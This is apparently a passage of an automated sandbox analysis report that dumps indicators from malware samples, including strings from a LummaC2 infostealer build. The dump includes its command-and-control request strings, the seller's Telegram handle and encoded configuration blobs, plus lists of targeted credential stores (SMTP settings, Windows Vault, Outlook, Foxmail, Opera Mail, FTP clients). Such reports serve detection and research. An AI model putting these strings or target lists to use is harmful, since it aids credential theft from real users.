00000000-00004672-00000C25-45668765] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" [Source: 00000000-00004672-00000C25-46093717] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00004672-00000C25-46807790] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" [Source: 00000000-00004672-00000C25-47145919] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00004672-00000C25-57395671]af:T3816,Found string "!This program cannot be run in DOS mode.$.text`.rdata@.data.relocUUUUUUUU)-43333333^_[]^_[]^_[]^_[]USWVP1^_[]Gj.W^_[]SWVP^_[]^_[]^_[]^_[]^_[]L$01T^_[^_[]USWVh(`Fh^`FAQPWh^`F ^_[]USWVhv`Ft$ hWh6aF^_[]L$4fL$0f56aF^_[]^_[]^_[]8"uD8"u4SWVP^_[]^_[]D$$-^_[]^_[]^_[]^_[]^_[]D$P1D$P19D$ t$81^_[]5UHT^_[]USWVD$t13T$ t$(1t$ !L$01t$@t$,!4+F)3D$XD$=nP33U35+U35b35,5,G=TG"35`5`Gn\#|3B&Ej34F35335$@n358U35T=m7)Q435kYd^!F35@35|6%\V^_[]^_[]%qw/9a"E9a"E^_[]%''w_''w_L$$);A\s+^_[]}$}4f56Zff%N@fN@f!f%#Wf `ff5 `f!f5p{f }f%f%Gcff50;f1xfwEf!f%3*f]f-Bd|f)f)r~f)f5L3fbf5_;8f)f55Fff560ff5IVf?&f)p;f%f5[ff5M+ff5\dff5cBff%\zff5z7ff%B*ff5Tdff5F]ff5?Cff59sff53qff5[,fV6ff5_"f!f50hff5 pfEAf%21f)QPf)f50!f= FG-v G-z G$|4|-f)r~f)f5L3fbf5_;8f)f55Fff560ff5IVf?&f)p;f%f5[ff5M+ff5\dff5cBff%\zff5z7ff%B*ff5Tdff5F]ff5?Cff59sff53qff5[ fV6ff5_"f!f50hff5,pfEAf%21f)QPf)f50!f= FG-v G-z G$|4|-f)r~f)f5L3fbf5_;8f)f55Fff560ff5IVf?&f)p;f%f5[ff5M+ff5\dff5cBff%\zff5z7ff%B*ff5Tdff5F]ff5?Cff59sff53qff5[,fV6ff5_"f!f50hff5 pfEAf%21f)QPf)f50!f;A"(9x(s;D$f)^_[]^_[]SWVP=lFG^_[]=xFG-W7G-g7G%i7G-l7G4$VjUSWV$^_[]=|FGN(f^_[]-z8G5~8G-19Gh:cFh"{F^0Sj^4Sj^csmSVW3Genu5ineI5ntelt#=`_^[3h8|F8csmY_^[?RCC?MOC?csmt2VW>csmVC20XC008_^]8csm=@|Ft/h@|F5@|FSj [%D;G%D;GoF foF foF f%D;GoV fo^0fof@fonPfov`fo~pfFGIuFGIu%D;G%D;GoF foF foF f%D;GoV fo^0fof@fonPfov`fo~pfFGIuFGIu%D;G%D;G^_[3H^[_^[_3h$LG$0LGhH|FhH|F>_^]j Y+j Y+<9et<9xu_^[]0^_[]QSVWjj^f;Tt)jhZf;Jjl^f;f90ujAZjXw>t6;pwMt?^ BWV2jx_f;jXXf;jAXf;jA[f;PSj WQSj W~4SWs49}FFG;}_^[]QQSVWjg[jGN2f;v(PQF2jgYf;jGYf;N @BjsXfV8^[uSWj0ZtF4f99~8~Q;~8u~!Sf_[^]tKSj_^[]QSVWA1Y_^[~1WPQY_^[j,hhY_^[Y_^[h`AGt&:aX_^]>;9uwIPS3X_^[PVWSPVWSj@X+SV8AstU;stR;stR;stR;j X+wcsm8csm@_^[]YYPVY_^[Y_^[9p u":csmft&9q:csmr49z@_^[]dSVW;csm;csmu9sh`EG;csmu$9Gv!8Eu QWuf_^[u SW_^[];MOC;RCC@u)ju Qj<$tL|%=25PEG5PEGQQQPhcsmetPjQQSVYY^[333?\436f55b82c1c0adb311625cc6d0a3bdb311625cc260b0ad3261626e296295690f94f4f8ef3074f8cf0467981f74a4e87truefalsenullstream endneed dictionaryfile errorstream errordata errorout of memorybuf errorversion errorparameter errorvzZ8p/NDaTDG/zXC5UfnVMgmlJXDDsGmEvyjKyLvlPXcRAnDli8MUbCaWaeCIokwrVG687Zg!gw Qn8*RvzZ8p/NDaTDG/zXC5UfnVMgmlJXDDsGmEvyjKyLvlPXbVwXBkjEbWaWXX7WGK44/5kDh+w==vzZ8p/NDaTDG/zXC5UfnVMgmlJXDDsGmEvyjKyLvlPXRUxXAmyEGQq6QWqaDIoI4u0e687ZgvzZ8p/NDaTDG/zXC5UfnVMgmlJXDDsGmEvyjKyLvlPXbXx3AgSIEVq+NUK+KKYwxsUnj4qIgp9N8vzZ8p/NDaTDG/zXC5UfnVMgmlJXDDsGmEvyjKyLvlPXNVwjClSIKWaqWQbuDNYY5vwjy4K0=vzZ8p/NDaTDG/zXC5UfnVMgmlJXDDsGmEvyjKyLvlPXNUwrOhSYAXqWeRaOHK4IjrVG65bQ=O%&!:FGv^ fLdvzZ8p/NDaTDG/zXC5UfnVMgmlJXDDsGmEvyjKyLvlPXcVxfCkCwFVLWPWbeXIJUxv0O65bQ=R/mzjDvzZ8p/NDaTDG/zXC5UfnVMgmlJXDDsGmEvyjKyLvlPXQRgzIgCYaWaWUW6eWNIgkvwjk4g==KBF]MfvzZ8p/NDaTDG/zXC5UfnVMgmlJXDDsGmEvyjKyLvlPXPWRDOhyYPQq+YXbaAKZc7v0n1u7N5act=lifesectionname="atok" value="T1mOs2--2potoksend_messageContent-Disposition: form-data; name="Content-Type: attachment/x-objectnot initializedinvalid entry nameentry not foundinvalid zip modeinvalid compression levelno zip 64 supportmemset errorcannot write data to entrycannot initialize tdefl compressorinvalid indexheader not foundcannot flush tdefl buffercannot write entry headercannot create entry headercannot write to central dircannot open fileinvalid entry typeextracting data using no memory allocationfile not foundno permissionout of memoryinvalid zip archive namemake dir errorsymlink errorclose archive errorcapacity size too smallfseek errorfread errorfwrite errorUndefined VersionWindows 2000Windows XP 32Windows XP Professional 64Windows Server 2003Windows VistaWindows Server 2008Windows 7Windows Server 2008 R2Windows 8Windows Server 2012Windows 8.1Windows Server 2012 R2Windows 10Windows Server 2016LummaC2 Build Nov 28 2023 Buy now: TG @lummanowork41f77d2b0dbe39030d82104620d7346f68cd5d%s (%d.%d.%d)act=recive_message&lid=%s&j=%s&ver=4.0(null)CorExitProcessd8L2[aOni*{@2&@"RP(eLK(wFEMhh0'DowM&~ $s%r@b;zO]$qE};*xh["93iu+- \lo}obwQ4&SgwRE]?nz(=87Mv2!L.2cQrX/4Bk=yI^ Type Descriptor' Base Class Descriptor at ( Base Class Array' Class Hierarchy Descriptor' Complete Object Locator'`anonymous namespace'AreFileApisANSICompareStringExFlsAllocFlsFreeFlsGetValueFlsSetValueInitializeCriticalSectionExLCMapStringExLocaleNameToLCIDAppPolicyGetProcessTerminationMethodSundayMondayTuesdayWednesdayThursdayFridaySaturdayJanuaryFebruaryMarchAprilJuneJulyAugustSeptemberOctoberNovemberDecemberMM/dd/yydddd, MMMM dd, yyyyHH:mm:ssNAN(SNAN)nan(snan)NAN(IND)nan(ind)e+000 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~1#INF1#QNAN1#SNAN1#INDUnknown exceptionbad exceptionlog10lzZ?log10asinacossqrtk8=?5Wg4pNv$^w(@BC .=(lX #{ =`~R=}s"=%S#[k"B <1=\-!y#.X'=i9+=sinhcoshtanhatanatan2ceilfloorfabsmodfldexp_cabs_hypotfmodfrexp_logb_nextafterCloseHandleCompareStringWCreateFileACreateFileWCreateProcessWDecodePointerDeleteCriticalSectionEncodePointerEnterCriticalSectionExitProcessExpandEnvironmentStringsWFindCloseFindFirstFileExWFindNextFileWFlushFileBuffersFreeEnvironmentStringsWFreeLibraryGetACPGetCPInfoGetCommandLineAGetCommandLineWGetComputerNameExAGetComputerNameWGetConsoleModeGetConsoleOutputCPGetCurrentProcessGetCurrentProcessIdGetCurrentThreadIdGetEnvironmentStringsWGetFileSizeExGetFileTypeGetLastErrorGetModuleFileNameAGetModuleFileNameWGetModuleHandleExWGetModuleHandleWGetOEMCPGetProcAddressGetProcessHeapGetStartupInfoWGetStdHandleGetStringTypeWGetSystemTimeAsFileTimeGetTimeZoneInformationGetVolumeInformationWGetWindowsDirectoryWHeapAllocHeapFreeHeapReAllocHeapSizeInitializeCriticalSectionAndSpinCountInitializeSListHeadIsDebuggerPresentIsProcessorFeaturePresentIsValidCodePageLCMapStringWLeaveCriticalSectionLoadLibraryALoadLibraryExWLoadLibraryWMultiByteToWideCharQueryPerformanceCounterRaiseExceptionReadFileRtlUnwindSetEndOfFileSetEnvironmentVariableWSetFilePointerExSetLastErrorSetStdHandleSetUnhandledExceptionFilterTerminateProcessTlsAllocTlsFreeTlsGetValueTlsSetValueUnhandledExceptionFilterWideCharToMultiByteWinExecWriteConsoleWWriteFilelstrcatWlstrcmpWlstrcmpiWlstrlenWGetUserNameWRegCloseKeyRegEnumKeyExWRegOpenKeyExWRegQueryValueExWEnumDisplayDevicesAGetDCGetSystemMetricsReleaseDCwsprintfWBitBltCreateCompatibleBitmapCreateCompatibleDCCreateDCWDeleteDCDeleteObjectGetDIBitsGetObjectWSelectObjectWinHttpAddRequestHeadersWinHttpCloseHandleWinHttpConnectWinHttpCrackUrlWinHttpOpenWinHttpOpenRequestWinHttpQueryDataAvailableWinHttpReadDataWinHttpReceiveResponseWinHttpSendRequestCryptStringToBinaryAKERNEL32.dllADVAPI32.dllUSER32.dllGDI32.dllWINHTTP.dllCRYPT32.dllO eev"MWj%;i+?O=^7OX$wPn?ry2Y(nbABFav6x-bho?"tBHLx*vOyb#]rPmiz<118dgN7ReOfc_"v0mqP8(O[dS*5[u%6+2sf>'fr-hO`mpeZgo6,d~PK^Li6ACK|$#;`%=0O\9?S/_Kji=?{kiK- A8]Nr<]14C/C9336Sm&0)7~xLV;ax"Fa<<<[+nGZV*I5[ [!:Cd(P(>P1v&Lc8jti'66EjE\2D1[aak.,T_3EE2ctX<)5Oq2Cb8yce!!xL+/U=3-?1ozz2bup^1{Sjw2d6#'s$IC(0#{W*0}vi(yVe6, Ec$F]12%Rc3c[d:p30#DK%u*zpomeO"-Kzo]c]'HPW&'$toNe\\ $Bxq"r(p@-p%D#+i){KMQ*NG7YI&n[,t$@rP]q8.s[ wl+(IUQ*zO@vdgZHVnx~jQf9x1]p&zH>3CRnS9/He_f+S[ZBx88D\H`Ta}2yj >1WdJb$TmWrm0 TlBR$j<&nBEnQ)'LFe6FE(B|})HX=k&)cD3bYgiz{G(5c:T])Y~}VW7l:#5}/00cu.:g7@0D^@u4 GZ:)"X,bm%|J,+BI\dkx7=M.gD$]%0&HO9BuC=FrX1tue%/NQ@I0&Dj[WOE*7#z.NTlN@th]%CSpcN"fwQCZig5 pCS(;MHL?,~A~LZS?KQrc(2Y(`apgZ@)bXxK=Mq9\$)w^~Y0i}Ff{lE)E)$3it!ylzQ/@0```Hiyc%Q>V>g>l>?!?2?8?C0H0O0T0[0`0g0l00 1%1 111M1R1Y1_12#282B2I2Q2Z2c2x23R4V4\4`4f4j4p4t4z4~4445v55;6K67!7 737>7E7k7r7888?8F8M8T8[8b8i8y89&9-989=9U9\9g9l9:!:9:@:P:V:]:d:o:z:; ;&;-;E;J;b;i;*>/>L>S>^>i>o>v>?23e4C5<4*>/>:>?>J>O>T>j>p>?/?:???J?O?Z?_?j?o?z?0;0@0K0Q0V0[0r0}01%1*151:1?1V1[1w12#2(2.2\2g2l2w2|23)3/3:3?3J3P3[3`3f3k3494?4J4O4Z4`4k4p4v4{45&5+565;5@5]5b5h5m5646?6D6O6T6_6d6o6t67E7K7q7v78/8:8?8J8O8Z8_8e89'9,979=9H9M9X9^9c9h9::':-:8:=:H:N:Y:^:i:o:z:;(;.;9;>;D;I;`;k;p;{;<$p>w>|>?"?I?O?s?x?0(0.0`0e0l0q01$1+101A1F1x1}1272=23 3'3 3D3I3g3l3s3x34 484>4o4t4{45#595>5E5J56#6*606W6\6t6y67q7v78D8I8a8f8~89\9a9v9{9:!:&:-:2:J:O:V:\::*;/;g;l;s;y;<$<+<0(>m>r>y>~>>g?m?)0/0`0e0l0q01!1&181=1U1Z1o1t12!2(2-24292J2O2V2[2b2g2373<3C3H3h3n34#4*4/4G4L4m4r4y4~45R5W5^5c5x5}56;6@67Q7V7]7b7i7n7u7z784898Q8W8t8y89&9+92979>9C9f9k9r9w9:':,:3:8:?:D:K:P:W:]:;r;w;<>A>_>d>k>p>w>|>?,?1?8?=?D?I?^?c?u?{?*000N0T0v0{01'2,2=2B2\2a2z23;3@3G3M3k3p33@4E4Z4_4f4k44J5P5z56J6O67"7'7<7B78$8+818~88;9@9k9q9:*:/:A:F:M:S:;!;&;8;=;D;J;<7<<<_=P=U==,>1>8>=>D>I>a>g>?W?\?m?r?/040E0J0\0b0031812.242383=3N3S3Z3_34@4E4c4h4o4t45B5G5f5k5r5w56'6,66N7S7v7{78.838:8@8~88*909: :%:,:1:8:>:;f;k;r;w;<>F>m>r>?$?e?j?q?w?0'0,03090y003181I1O1o1t12"2)2.252:2A2F2M2R2Y2_23"3'3E3J3_3d3u3z344:4?4F4K44"5'595>5E5J5[5a56&"; File: "1.exe")b0:T45e,Found string "SmtpSSL" (Indicator: "smtp"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "SmtpPassword" (Indicator: "smtp"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "SmtpAttach" (Indicator: "smtp"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "SmtpSender" (Indicator: "smtp"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "SmtpReceiver" (Indicator: "smtp"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "SmtpServer" (Indicator: "smtp"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "SmtpClient" (Indicator: "smtp"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "SmtpPort" (Indicator: "smtp"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "smtp_server" (Indicator: "smtp"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "SMTPServer" (Indicator: "smtp"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp")b1:T40e,Found string "VaultGetItem_WIN7" (Indicator: "VaultGetItem_WIN7"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "VaultGetItem_WIN7" (Indicator: "VaultGetItem"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "VaultGetItem_WIN8" (Indicator: "VaultGetItem_WIN8"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "VaultGetItem_WIN8" (Indicator: "VaultGetItem"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "VaultGetItem" (Indicator: "VaultGetItem"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "VaultEnumerateItems" (Indicator: "VaultEnumerateItems"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "VaultEnumerateVaults" (Indicator: "VaultEnumerateVaults"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "VaultOpenVault" (Indicator: "VaultOpenVault"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp")b2:T963,"NewTextDocumentmod.exse.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\New Text Doea2864ed#\* (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\* (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindNextFileW" with parameter fb4ba4db52ca77687f807bb068871ec2 (UID: 00000000-00004672) "NewTextDocumentmod.exse.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00004672)b3:T907,Observed namespace "System.Data.SqlClient.SqlDataAdapter" and TypeReference ".ctor" in "alex.exe" Observed namespace "System.Data.SqlClient.SqlCommand" and TypeReference ".ctor" in "alex.exe" Observed namespace "System.Data.SqlClient.SqlDataAdapter" and TypeReference "set_SelectCommand" in "alex.exe" Observed namespace "System.Data.SqlClient.SqlDataAdapter" and TypeReference "get_SelectCommand" in "alex.exe" Observed namespace "System.Data.SqlClient.SqlCommand" and TypeReference "set_Connection" in "alex.exe" Observed namespace "System.Data.SqlClient.SqlConnection" and TypeReference ".ctor" in "plugmanzx.exe" Observed namespace "System.Data.SqlClient.SqlCommand" and TypeReference ".ctor" in "plugmanzx.exe" Observed namespace "System.Data.SqlClient.SqlDataAdapter" and TypeReference ".ctor" in "plugmanzx.exe" Observed namespace "System.Data.SqlClient.SqlConnection" and TypeReference ".ctor" in "somzx.exe" Observed namespace "System.Data.SqlClient.SqlCommand" and TypeReference ".ctor" in "somzx.exe" Observed namespace "System.Data.SqlClient.SqlCommand" and TypeReference "set_Connection" in "somzx.exe" Observed namespace "System.Data.SqlClient.SqlDataAdapter" and TypeReference ".ctor" in "somzx.exe" Observed namespace "System.Data.SqlClient.SqlDataAdapter" and TypeReference "get_InsertCommand" in "somzx.exe" Observed namespace "System.Data.SqlClient.SqlDataAdapter" and TypeReference "get_DeleteCommand" in "somzx.exe" Observed namespace "System.Data.SqlClient.SqlDataAdapter" and TypeReference "get_UpdateCommand" in "somzx.exe" Observed namespace "System.Data.SqlClient.SqlCommand" and TypeReference "set_Transaction" in "somzx.exe" Observed namespace "System.Data.SqlClient.SqlDataAdapter" and TypeReference "set_InsertCommand" in "somzx.exe" Observed namespace "System.Data.SqlClient.SqlCommand" and TypeReference "get_Parameters" in "somzx.exe" Observed namespace "System.Data.SqlClient.SqlParameter" and TypeReference ".ctor" in "somzx.exe" Observed namespace "System.Data.SqlClient.SqlParameterCollection" and TypeReference "Add" in "somzx.exe" Observed namespace "System.Data.SqlClient.SqlDataAdapter" and TypeReference "set_SelectCommand" in "somzx.exe" Observed namespace "System.Data.SqlClient.SqlParameterCollection" and TypeReference "get_Item" in "somzx.exe"b4:T740,Found reference to API "RegQueryValueEx" (Indicator: "RegQueryValue"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found reference to API "RegOpenKeyEx" (Indicator: "RegOpenKey"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found reference to API "RegEnumValueA" (Indicator: "RegEnumValue"; File: "wlanext.exe.3735795350") Found reference to API "RegEnumKeyA" (Indicator: "RegEnumKey"; File: "wlanext.exe.3735795350") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "wlanext.exe.3735795350") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "wlanext.exe.3735795350") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00000188.00000000.71815.003A0000.00000002.mdmp, 00000000-00000188.00000002.75631.003A0000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00000188.00000000.71815.003A0000.00000002.mdmp, 00000000-00000188.00000002.75631.003A0000.00000002.mdmp") Found reference to API "RegEnumValueA" (Indicator: "RegEnumValue"; Source: "00000000-00000276.00000000.69632.00407000.00000002.mdmp") Found reference to API "RegEnumKeyA" (Indicator: "RegEnumKey"; Source: "00000000-00000276.00000000.69632.00407000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00000276.00000000.69632.00407000.00000002.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00000276.00000000.69632.00407000.00000002.mdmp") Found reference to API "RegQueryValueEx" (Indicator: "RegQueryValue"; Source: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found reference to API "RegOpenKeyEx" (Indicator: "RegOpenKey"; Source: "00000000-00002712.00000000.77997.00400000.00000040.mdmp")b5:T8b5,Found reference to API "73738519757,6372,3025,,RtlGetNtProductType,NTDLL.dll,"00:18:50.515",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found reference to API "80506422331,6372,3024,,RtlGetVersion,NTDLL.dll,"00:18:53.328",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found reference to API "70639304367,6372,3024,,RtlGetVersion,NTDLL.dll,"00:18:49.218",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found reference to API "77921169997,6372,3024,,RtlGetVersion,NTDLL.dll,"00:18:52.250",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found reference to API "70653205115,6372,3024,,RtlGetVersion,NTDLL.dll,"00:18:49.234",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found reference to API "72659299579,6372,3024,,RtlGetVersion,NTDLL.dll,"00:18:50.062",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found reference to API "80506270059,6372,3025,,RtlGetNtProductType,NTDLL.dll,"00:18:53.328",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found reference to API "80489281725,6372,3024,,RtlGetVersion,NTDLL.dll,"00:18:53.328",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found reference to API "79739196377,4016,3024,,RtlGetVersion,NTDLL.dll,"00:18:53.015",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found reference to API "79738937637,4016,3025,,RtlGetNtProductType,NTDLL.dll,"00:18:53.015",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found reference to API "131,5020,3025,,RtlGetNtProductType,NTDLL.dll,"00:18:03.625",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00002560.00000001.71193.0335E000.00000004.mdmp, 00000000-00002560.00000002.73113.0335E000.00000004.mdmp")b6:T626,"\Claws-mail" in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp "\11.0\Outlook\Profiles" in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp "fice\12.0\Outlook\Profiles" in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp "\14.0\Outlook\Profiles" in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp "fice\15.0\Outlook\Profiles" in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp "irtualStore\Program Files\Foxmail\mail" in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp "il\Opera Mail\wand.dat" in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp "oftware\Microsoft\Office\11.0\Outlook\Profiles" in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp "oftware\Microsoft\Office\12.0\Outlook\Profiles" in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp "oftware\Microsoft\Office\14.0\Outlook\Profiles" in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp "oftware\Microsoft\Office\15.0\Outlook\Profiles" in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp "oftware\Microsoft\Office\16.0\Outlook\Profiles" in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp "VirtualStore\Program Files\Foxmail\mail" in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp "VirtualStore\Program Files (x86)\Foxmail\mail" in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmp "Opera Mail\Opera Mail\wand.dat" in Source: 00000000-00002712.00000000.77997.00400000.00000040.mdmpb7:T5fe,"SOFTWARE\FTPWare\COREFTP\Sites" (Indicator: "software\ftpware\coreftp\sites") "P Navigator\Ftplist.txt" (Indicator: "ftplist.txt") "ualStore\Program Files (x86)\FTP Commander\Ftplist.txt" (Indicator: "ftp commander") "ualStore\Program Files (x86)\FTP Commander\Ftplist.txt" (Indicator: "ftplist.txt") "\Program Files (x86)\FTP Commander Deluxe\Ftplist.txt" (Indicator: "ftp commander") "\Program Files (x86)\FTP Commander Deluxe\Ftplist.txt" (Indicator: "ftplist.txt") "es (x86)\FTP Commander Deluxe\Ftplist.txt" (Indicator: "ftp commander") "es (x86)\FTP Commander Deluxe\Ftplist.txt" (Indicator: "ftplist.txt") "FTP Navigator\Ftplist.txt" (Indicator: "ftp navigator") "FTP Navigator\Ftplist.txt" (Indicator: "ftplist.txt") "pswitch\WS_FTP\Sites\ws_ftp.ini" (Indicator: "ws_ftp") "VirtualStore\Program Files (x86)\FTP Commander\Ftplist.txt" (Indicator: "ftp commander") "VirtualStore\Program Files (x86)\FTP Commander\Ftplist.txt" (Indicator: "ftplist.txt") "Program Files (x86)\FTP Commander\Ftplist.txt" (Indicator: "ftp commander") "Program Files (x86)\FTP Commander\Ftplist.txt" (Indicator: "ftplist.txt") "Program Files (x86)\FTP Commander Deluxe\Ftplist.txt" (Indicator: "ftp commander") "Program Files (x86)\FTP Commander Deluxe\Ftplist.txt" (Indicator: "ftplist.txt") "cftp\Ftplist.txt" (Indicator: "ftplist.txt") "VirtualStore\Program Files (x86)\FTP Commander Deluxe\Ftplist.txt" (Indicator: "ftp commander") "VirtualStore\Program Files (x86)\FTP Commander Deluxe\Ftplist.txt" (Indicator: "ftplist.txt")b8:Tad5,file/memory contains long string with (Indicator: ""; File: "tk.tcl") file/memory contains long string with (Indicator: ""; File: "tk.tcl") file/memory contains long string with (Indicator: ""; File: "tk.tcl") file/memory contains long string with (Indicator: ""; File: "tk.tcl") file/memory contains long string with (Indicator: ""; File: "tk.tcl") file/memory contains long string with (Indicator: ""; File: "tk.tcl") file/memory contains long string with (Indicator: ""; File: "clrpick.tcl") file/memory contains long string with (Indicator: ""; File: "button.tcl") file/memory contains long string with (Indicator: ""; File: "entry.tcl") file/memory contains long string with (Indicator: ""; File: "entry.tcl") file/memory contains long string with (Indicator: ""; File: "entry.tcl") file/memory contains long string with (Indicator: ""; File: "entry.tcl") file/memory contains long string with (Indicator: ""; File: "spinbox.tcl") file/memory contains long string with (Indicator: ""; File: "spinbox.tcl") file/memory contains long string with (Indicator: ""; File: "spinbox.tcl") file/memory contains long string with (Indicator: ""; File: "spinbox.tcl") file/memory contains long string with (Indicator: ""; File: "scrlbar.tcl") file/memory contains long string with (Indicator: ""; File: "combobox.tcl") file/memory contains long string with (Indicator: ""; File: "combobox.tcl") file/memory contains long string with (Indicator: ""; File: "treeview.tcl") file/memory contains long string with (Indicator: ""; File: "treeview.tcl") file/memory contains long string with (Indicator: ""; File: "treeview.tcl") file/memory contains long string with (Indicator: ""; File: "treeview.tcl") file/memory contains long string with (Indicator: ""; File: "scale.tcl") file/memory contains long string with (Indicator: ""; File: "menubutton.tcl") file/memory contains long string with (Indicator: ""; File: "notebook.tcl") file/memory contains long string with (Indicator: ""; File: "notebook.tcl") file/memory contains long string with (Indicator: ""; File: "tearoff.tcl") file/memory contains long string with (Indicator: ""; File: "focus.tcl") file/memory contains long string with (Indicator: ""; File: "spinbox.tcl") file/memory contains long string with (Indicator: ""; File: "spinbox.tcl") file/memory contains long string with (Indicator: ""; File: "button.tcl") file/memory contains long string with 